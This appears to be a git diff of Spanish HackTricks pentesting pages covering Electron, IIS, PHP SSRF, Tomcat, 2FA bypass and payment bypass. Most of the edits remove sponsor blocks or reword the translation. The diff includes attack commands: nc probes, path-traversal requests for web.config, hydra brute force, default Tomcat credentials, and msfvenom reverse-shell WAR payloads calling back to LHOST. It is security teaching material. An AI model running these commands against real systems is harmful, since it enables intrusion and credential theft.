La llamada a **`openInternally`** decidirá si el **enlace** se **abrirá** en la **ventana de escritorio** ya que es un enlace que pertenece a la plataforma, **o** si se abrirá en el **navegador como un recurso de 3ra parte**.
|
||||
La llamada a **`openInternally`** decidirá si el **enlace** se **abrirá** en la **ventana de escritorio** ya que es un enlace que pertenece a la plataforma, **o** si se abrirá en el **navegador como un recurso de terceros**.
|
||||
|
||||
En el caso de que la **regex** utilizada por la función sea **vulnerable a bypasses** (por ejemplo, **no escapando los puntos de los subdominios**), un atacante podría abusar del XSS para **abrir una nueva ventana que** estará ubicada en la infraestructura del atacante **pidiendo credenciales** al usuario:
|
||||
```html
|
||||
|
@ -320,18 +307,6 @@ npm start
|
|||
* Más investigaciones y artículos sobre la seguridad de Electron en [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking)
|
||||
* [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malware robador**.
|
||||
|
||||
Su objetivo principal de WhiteIntel es combatir la toma de cuentas y los ataques de ransomware resultantes de malware que roba información.
|
||||
|
||||
Puedes visitar su sitio web y probar su motor de forma **gratuita** en:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
|
@ -15,21 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malware de robo**.
|
||||
|
||||
Su objetivo principal en WhiteIntel es combatir la toma de cuentas y los ataques de ransomware resultantes de malware que roba información.
|
||||
|
||||
Puedes visitar su sitio web y probar su motor de búsqueda de forma **gratuita** en:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
Prueba extensiones de archivos ejecutables:
|
||||
Pruebe las extensiones de archivos ejecutables:
|
||||
|
||||
* asp
|
||||
* aspx
|
||||
|
@ -38,7 +24,7 @@ Prueba extensiones de archivos ejecutables:
|
|||
|
||||
## Divulgación de dirección IP interna
|
||||
|
||||
En cualquier servidor IIS donde obtengas un 302, puedes intentar eliminar el encabezado Host y usar HTTP/1.0, y dentro de la respuesta, el encabezado Location podría señalarte la dirección IP interna:
|
||||
En cualquier servidor IIS donde obtenga un 302, puede intentar eliminar el encabezado Host y usar HTTP/1.0 y dentro de la respuesta el encabezado Location podría señalarle la dirección IP interna:
|
||||
```
|
||||
nc -v domain.com 80
|
||||
openssl s_client -connect domain.com:443
|
||||
|
@ -60,7 +46,7 @@ Puedes subir archivos .config y usarlos para ejecutar código. Una forma de hace
|
|||
|
||||
Más información y técnicas para explotar esta vulnerabilidad [aquí](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/)
|
||||
|
||||
## Fuerza bruta de descubrimiento de IIS
|
||||
## Descubrimiento de IIS Bruteforce
|
||||
|
||||
Descarga la lista que he creado:
|
||||
|
||||
|
@ -77,14 +63,14 @@ Fue creada fusionando los contenidos de las siguientes listas:
|
|||
|
||||
Úsalo sin añadir ninguna extensión, los archivos que la necesitan ya la tienen.
|
||||
|
||||
## Traversal de ruta
|
||||
## Traversal de Ruta
|
||||
|
||||
### Filtrando código fuente
|
||||
### Filtración de código fuente
|
||||
|
||||
Consulta el informe completo en: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html)
|
||||
|
||||
{% hint style="info" %}
|
||||
Como resumen, hay varios archivos web.config dentro de las carpetas de la aplicación con referencias a archivos "**assemblyIdentity**" y "**namespaces**". Con esta información es posible saber **dónde se encuentran los ejecutables** y descargarlos.\
|
||||
Como resumen, hay varios archivos web.config dentro de las carpetas de la aplicación con referencias a archivos "**assemblyIdentity**" y "**namespaces**". Con esta información es posible saber **dónde están ubicados los ejecutables** y descargarlos.\
|
||||
A partir de los **Dlls descargados** también es posible encontrar **nuevos namespaces** donde deberías intentar acceder y obtener el archivo web.config para encontrar nuevos namespaces y assemblyIdentity.\
|
||||
Además, los archivos **connectionstrings.config** y **global.asax** pueden contener información interesante.\\
|
||||
{% endhint %}
|
||||
|
@ -112,9 +98,9 @@ Estas configuraciones indican que ciertos archivos, como **/bin/WebGrease.dll**,
|
|||
|
||||
Los archivos encontrados en el directorio raíz, como **/global.asax** y **/connectionstrings.config** (que contiene contraseñas sensibles), son esenciales para la configuración y operación de la aplicación.
|
||||
|
||||
### **Espacios de Nombres y Web.Config**
|
||||
### **Namespaces y Web.Config**
|
||||
|
||||
Las aplicaciones MVC también definen archivos adicionales de **web.config** para espacios de nombres específicos para evitar declaraciones repetitivas en cada archivo, como se demuestra con una solicitud para descargar otro **web.config**:
|
||||
Las aplicaciones MVC también definen archivos adicionales de **web.config** para namespaces específicos para evitar declaraciones repetitivas en cada archivo, como se demuestra con una solicitud para descargar otro **web.config**:
|
||||
```markup
|
||||
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
|
||||
Host: example-mvc-application.minded
|
||||
|
@ -225,7 +211,7 @@ Para acceder a la página web, podrías echar un vistazo al **Certificado SSL**
|
|||
Puedes intentar **enumerar carpetas y archivos** dentro de cada carpeta descubierta (incluso si requiere Autenticación Básica) usando esta **técnica**.\
|
||||
La principal limitación de esta técnica si el servidor es vulnerable es que **solo puede encontrar hasta las primeras 6 letras del nombre de cada archivo/carpeta y las primeras 3 letras de la extensión** de los archivos.
|
||||
|
||||
Puedes usar [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) para probar esta vulnerabilidad: `java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/`
|
||||
Puedes usar [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) para probar esta vulnerabilidad:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/`
|
||||
|
||||
![](<../../.gitbook/assets/image (844).png>)
|
||||
|
||||
|
@ -285,29 +271,17 @@ HTTP/1.1 401 Unauthorized
|
|||
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
|
||||
HTTP/1.1 200 OK
|
||||
```
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malware de robo**.
|
||||
|
||||
Su objetivo principal de WhiteIntel es combatir la toma de control de cuentas y los ataques de ransomware resultantes de malware que roba información.
|
||||
|
||||
Puedes visitar su sitio web y probar su motor de forma **gratuita** en:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,24 +15,16 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
### Funciones SSRF de PHP
|
||||
|
||||
Algunas funciones como **file\_get\_contents(), fopen(), file(), md5\_file()** aceptan URLs como entrada que seguirán, lo que hace **posibles vulnerabilidades SSRF** si el usuario puede controlar los datos:
|
||||
Algunas funciones como **file\_get\_contents(), fopen(), file(), md5\_file()** aceptan URLs como entrada que seguirán, lo que hace **posibles las vulnerabilidades SSRF** si el usuario puede controlar los datos:
|
||||
```php
|
||||
file_get_contents("http://127.0.0.1:8081");
|
||||
fopen("http://127.0.0.1:8081", "r");
|
||||
file("http://127.0.0.1:8081");
|
||||
md5_file("http://127.0.0.1:8081");
|
||||
```
|
||||
### Wordpress SSRF via DNS Rebinding
|
||||
### Wordpress SSRF a través de DNS Rebinding
|
||||
|
||||
Como [**se explica en esta publicación del blog**](https://patchstack.com/articles/exploring-the-unpatched-wordpress-ssrf), incluso la función de Wordpress **`wp_safe_remote_get`** es vulnerable a DNS rebinding, lo que la hace potencialmente vulnerable a ataques SSRF. La validación principal que llama es **wp\_http\_validate\_ur**l, que verifica que el protocolo sea `http://` o `https://` y que el puerto sea uno de **80**, **443** y **8080**, pero es **vulnerable a DNS rebinding**.
|
||||
|
||||
|
@ -83,12 +75,6 @@ $options = array(
|
|||
$context = stream_context_create($options);
|
||||
$file = file_get_contents($url, false, $context);
|
||||
```
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
|
@ -15,14 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Discovery
|
||||
|
||||
* Normalmente se ejecuta en **el puerto 8080**
|
||||
|
@ -38,11 +30,11 @@ Para encontrar la versión de Apache Tomcat, se puede ejecutar un comando simple
|
|||
```bash
|
||||
curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
|
||||
```
|
||||
Esto buscará el término "Tomcat" en la página de índice de documentación, revelando la versión en la etiqueta de título de la respuesta HTML.
|
||||
Esto buscará el término "Tomcat" en la página de índice de la documentación, revelando la versión en la etiqueta de título de la respuesta HTML.
|
||||
|
||||
### **Ubicación de Archivos del Administrador**
|
||||
|
||||
Identificar las ubicaciones exactas de los directorios **`/manager`** y **`/host-manager`** es crucial ya que sus nombres podrían ser alterados. Se recomienda una búsqueda de fuerza bruta para localizar estas páginas.
|
||||
Identificar las ubicaciones exactas de los directorios **`/manager`** y **`/host-manager`** es crucial, ya que sus nombres podrían ser alterados. Se recomienda una búsqueda de fuerza bruta para localizar estas páginas.
|
||||
|
||||
### **Enumeración de Nombres de Usuario**
|
||||
|
||||
|
@ -52,7 +44,7 @@ msf> use auxiliary/scanner/http/tomcat_enum
|
|||
```
|
||||
### **Credenciales Predeterminadas**
|
||||
|
||||
El **`/manager/html`** directorio es particularmente sensible ya que permite la carga y despliegue de archivos WAR, lo que puede llevar a la ejecución de código. Este directorio está protegido por autenticación HTTP básica, siendo las credenciales comunes:
|
||||
El **`/manager/html`** directorio es particularmente sensible ya que permite la carga y despliegue de archivos WAR, lo que puede llevar a la ejecución de código. Este directorio está protegido por autenticación HTTP básica, con credenciales comunes siendo:
|
||||
|
||||
* admin:admin
|
||||
* tomcat:tomcat
|
||||
|
@ -61,7 +53,7 @@ El **`/manager/html`** directorio es particularmente sensible ya que permite la
|
|||
* tomcat:s3cr3t
|
||||
* admin:tomcat
|
||||
|
||||
Estas credenciales se pueden probar usando:
|
||||
Estas credenciales pueden ser probadas usando:
|
||||
```bash
|
||||
msf> use auxiliary/scanner/http/tomcat_mgr_login
|
||||
```
|
||||
|
@ -75,7 +67,7 @@ hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 1
|
|||
```
|
||||
Along with setting various parameters in Metasploit to target a specific host.
|
||||
|
||||
## Vulnerabilidades Comunes
|
||||
## Common Vulnerabilities
|
||||
|
||||
### **Divulgación de Contraseña en Backtrace**
|
||||
|
||||
|
@ -83,13 +75,13 @@ Acceder a `/auth.jsp` puede revelar la contraseña en un backtrace bajo circunst
|
|||
|
||||
### **Codificación Doble de URL**
|
||||
|
||||
La vulnerabilidad CVE-2007-1860 en `mod_jk` permite la codificación doble de URL para la traversía de rutas, lo que habilita el acceso no autorizado a la interfaz de gestión a través de una URL especialmente diseñada.
|
||||
La vulnerabilidad CVE-2007-1860 en `mod_jk` permite la codificación doble de URL para la traversía de rutas, lo que permite el acceso no autorizado a la interfaz de gestión a través de una URL especialmente diseñada.
|
||||
|
||||
Para acceder a la web de gestión de Tomcat, ve a: `pathTomcat/%252E%252E/manager/html`
|
||||
|
||||
### /examples
|
||||
|
||||
Las versiones de Apache Tomcat 4.x a 7.x incluyen scripts de ejemplo que son susceptibles a la divulgación de información y ataques de scripting entre sitios (XSS). Estos scripts, listados de manera exhaustiva, deben ser revisados para detectar accesos no autorizados y posibles explotaciones. Encuentra [más información aquí](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)
|
||||
Las versiones de Apache Tomcat de 4.x a 7.x incluyen scripts de ejemplo que son susceptibles a la divulgación de información y ataques de scripting entre sitios (XSS). Estos scripts, listados de manera exhaustiva, deben ser revisados para detectar accesos no autorizados y posibles explotaciones. Encuentra [más información aquí](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)
|
||||
|
||||
* /examples/jsp/num/numguess.jsp
|
||||
* /examples/jsp/dates/date.jsp
|
||||
|
@ -155,7 +147,7 @@ msfvenom -p java/shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o r
|
|||
```
|
||||
2. Sube el archivo `revshell.war` y accede a él (`/revshell/`):
|
||||
|
||||
### Shell de enlace y reversa con [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)
|
||||
### Shell bind y reverso con [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)
|
||||
|
||||
En algunos escenarios esto no funciona (por ejemplo, versiones antiguas de sun)
|
||||
|
||||
|
@ -239,12 +231,6 @@ msf> use post/windows/gather/enum_tomcat
|
|||
* [https://github.com/simran-sankhala/Pentest-Tomcat](https://github.com/simran-sankhala/Pentest-Tomcat)
|
||||
* [https://hackertarget.com/sample/nexpose-metasploitable-test.pdf](https://hackertarget.com/sample/nexpose-metasploitable-test.pdf)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
|
@ -15,14 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Discovery
|
||||
|
||||
* Normalmente se ejecuta en **el puerto 8080**
|
||||
|
@ -34,7 +26,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
### **Identificación de versión**
|
||||
|
||||
Para encontrar la versión de Apache Tomcat, se puede ejecutar un comando simple:
|
||||
Para encontrar la versión de Apache Tomcat, se puede ejecutar un simple comando:
|
||||
```bash
|
||||
curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
|
||||
```
|
||||
|
@ -75,7 +67,7 @@ hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 1
|
|||
```
|
||||
Along with setting various parameters in Metasploit to target a specific host.
|
||||
|
||||
## Common Vulnerabilities
|
||||
## Vulnerabilidades Comunes
|
||||
|
||||
### **Divulgación de Contraseña en Backtrace**
|
||||
|
||||
|
@ -149,7 +141,7 @@ msf exploit(multi/http/tomcat_mgr_upload) > exploit
|
|||
```
|
||||
### MSFVenom Reverse Shell
|
||||
|
||||
1. Crea el war para desplegar:
|
||||
1. Crear el war para desplegar:
|
||||
```bash
|
||||
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war
|
||||
```
|
||||
|
@ -239,11 +231,6 @@ msf> use post/windows/gather/enum_tomcat
|
|||
* [https://github.com/simran-sankhala/Pentest-Tomcat](https://github.com/simran-sankhala/Pentest-Tomcat)
|
||||
* [https://hackertarget.com/sample/nexpose-metasploitable-test.pdf](https://hackertarget.com/sample/nexpose-metasploitable-test.pdf)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
|
@ -15,14 +15,6 @@ Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" d
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Grupo de Seguridad Try Hard**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
### Evitar ejecutar como root
|
||||
|
||||
Para no ejecutar Tomcat como root, una configuración muy común es establecer un servidor Apache en el puerto 80/443 y, si la ruta solicitada coincide con una expresión regular, la solicitud se envía a Tomcat que se ejecuta en un puerto diferente.
|
||||
|
@ -101,7 +93,7 @@ El `web.xml` configuración anterior define un **nuevo servlet llamado `AdminSer
|
|||
|
||||
* **`classes/com/inlanefreight/api/AdminServlet.class`**
|
||||
|
||||
A continuación, se crea un nuevo mapeo de servlet para **mapear solicitudes a `/admin` con `AdminServlet`**. Esta configuración enviará cualquier solicitud recibida para **`/admin` a la clase `AdminServlet.class`** para su procesamiento. El **`web.xml`** descriptor contiene mucha **información sensible** y es un archivo importante para verificar al aprovechar una **vulnerabilidad de Inclusión de Archivos Local (LFI)**.
|
||||
A continuación, se crea un nuevo mapeo de servlet para **mapear solicitudes a `/admin` con `AdminServlet`**. Esta configuración enviará cualquier solicitud recibida para **`/admin` a la clase `AdminServlet.class`** para su procesamiento. El **`web.xml`** descriptor contiene mucha **información sensible** y es un archivo importante para verificar al aprovechar una **vulnerabilidad de Inclusión de Archivos Locales (LFI)**.
|
||||
|
||||
### tomcat-users
|
||||
|
||||
|
@ -152,11 +144,6 @@ El archivo nos muestra a qué proporciona acceso cada uno de los roles `manager-
|
|||
|
||||
* [https://academy.hackthebox.com/module/113/section/1090](https://academy.hackthebox.com/module/113/section/1090)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
|
@ -15,19 +15,6 @@ Aprende y practica Hacking en GCP: <img src="../.gitbook/assets/grte.png" alt=""
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares robadores**.
|
||||
|
||||
Su objetivo principal de WhiteIntel es combatir la toma de cuentas y los ataques de ransomware resultantes de malware que roba información.
|
||||
|
||||
Puedes revisar su sitio web y probar su motor de forma **gratuita** en:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## **Técnicas Mejoradas de Bypass de Autenticación de Dos Factores**
|
||||
|
||||
|
@ -53,7 +40,7 @@ Usar el **enlace de verificación de correo electrónico enviado al crear la cue
|
|||
|
||||
### **Manipulación de Sesiones**
|
||||
|
||||
Iniciar sesiones tanto para la cuenta del usuario como para la cuenta de una víctima, y completar 2FA para la cuenta del usuario sin proceder, permite intentar acceder al siguiente paso en el flujo de la cuenta de la víctima, explotando las limitaciones de gestión de sesiones en el backend.
|
||||
Iniciar sesiones tanto para la cuenta del usuario como para la de una víctima, y completar 2FA para la cuenta del usuario sin proceder, permite intentar acceder al siguiente paso en el flujo de la cuenta de la víctima, explotando las limitaciones de gestión de sesiones en el backend.
|
||||
|
||||
### **Mecanismo de Restablecimiento de Contraseña**
|
||||
|
||||
|
@ -71,11 +58,11 @@ La falta de un límite en el número de intentos de código permite ataques de f
|
|||
|
||||
#### **Fuerza Bruta Lenta**
|
||||
|
||||
Un ataque de fuerza bruta lento es viable donde existen límites de flujo sin un límite general de tasa.
|
||||
Un ataque de fuerza bruta lento es viable donde existen límites de flujo sin un límite de tasa general.
|
||||
|
||||
#### **Restablecimiento del Límite de Reenvío de Código**
|
||||
|
||||
Reenviar el código restablece el límite de tasa, facilitando intentos continuos de fuerza bruta.
|
||||
Reenviar el código restablece el límite de tasa, facilitando intentos de fuerza bruta continuos.
|
||||
|
||||
#### **Evasión de Límite de Tasa del Lado del Cliente**
|
||||
|
||||
|
@ -87,7 +74,7 @@ Los límites de tasa pueden proteger los intentos de inicio de sesión, pero no
|
|||
|
||||
#### **Costos de Reenvío de Código SMS**
|
||||
|
||||
El reenvío excesivo de códigos por SMS incurre en costos para la empresa, aunque no elude 2FA.
|
||||
El reenvío excesivo de códigos a través de SMS incurre en costos para la empresa, aunque no elude 2FA.
|
||||
|
||||
#### **Regeneración Infinita de OTP**
|
||||
|
||||
|
@ -141,9 +128,9 @@ Un proceso que demuestra un posible método de bypass implica la creación de un
|
|||
|
||||
Utilizar solicitudes de señuelo para ofuscar intentos de fuerza bruta o desviar mecanismos de limitación de tasa añade otra capa a las estrategias de bypass. Elaborar tales solicitudes requiere un entendimiento matizado de las medidas de seguridad de la aplicación y los comportamientos de limitación de tasa.
|
||||
|
||||
### Errores en la Construcción de OTP
|
||||
### Errores de Construcción de OTP
|
||||
|
||||
En caso de que el OTP se cree basado en datos que el usuario ya tiene o que se envían previamente para crear el OTP, es posible que el usuario también pueda generarlo y eludirlo.
|
||||
En caso de que el OTP se cree en base a datos que el usuario ya tiene o que se envían previamente para crear el OTP, es posible que el usuario también lo genere y lo eluda.
|
||||
|
||||
## Referencias
|
||||
|
||||
|
@ -151,17 +138,6 @@ En caso de que el OTP se cree basado en datos que el usuario ya tiene o que se e
|
|||
* [https://azwi.medium.com/2-factor-authentication-bypass-3b2bbd907718](https://azwi.medium.com/2-factor-authentication-bypass-3b2bbd907718)
|
||||
* [https://getpocket.com/read/aM7dap2bTo21bg6fRDAV2c5thng5T48b3f0Pd1geW2u186eafibdXj7aA78Ip116\_1d0f6ce59992222b0812b7cab19a4bce](https://getpocket.com/read/aM7dap2bTo21bg6fRDAV2c5thng5T48b3f0Pd1geW2u186eafibdXj7aA78Ip116\_1d0f6ce59992222b0812b7cab19a4bce)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares robadores**.
|
||||
|
||||
Su objetivo principal de WhiteIntel es combatir la toma de cuentas y los ataques de ransomware resultantes de malware que roba información.
|
||||
|
||||
Puedes revisar su sitio web y probar su motor de forma **gratuita** en:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
P
|
||||
|
||||
|
|
|
@ -15,14 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Técnicas de Bypass de Pago
|
||||
|
||||
### Intercepción de Solicitudes
|
||||
|
@ -33,31 +25,25 @@ Durante el proceso de transacción, es crucial monitorear los datos que se inter
|
|||
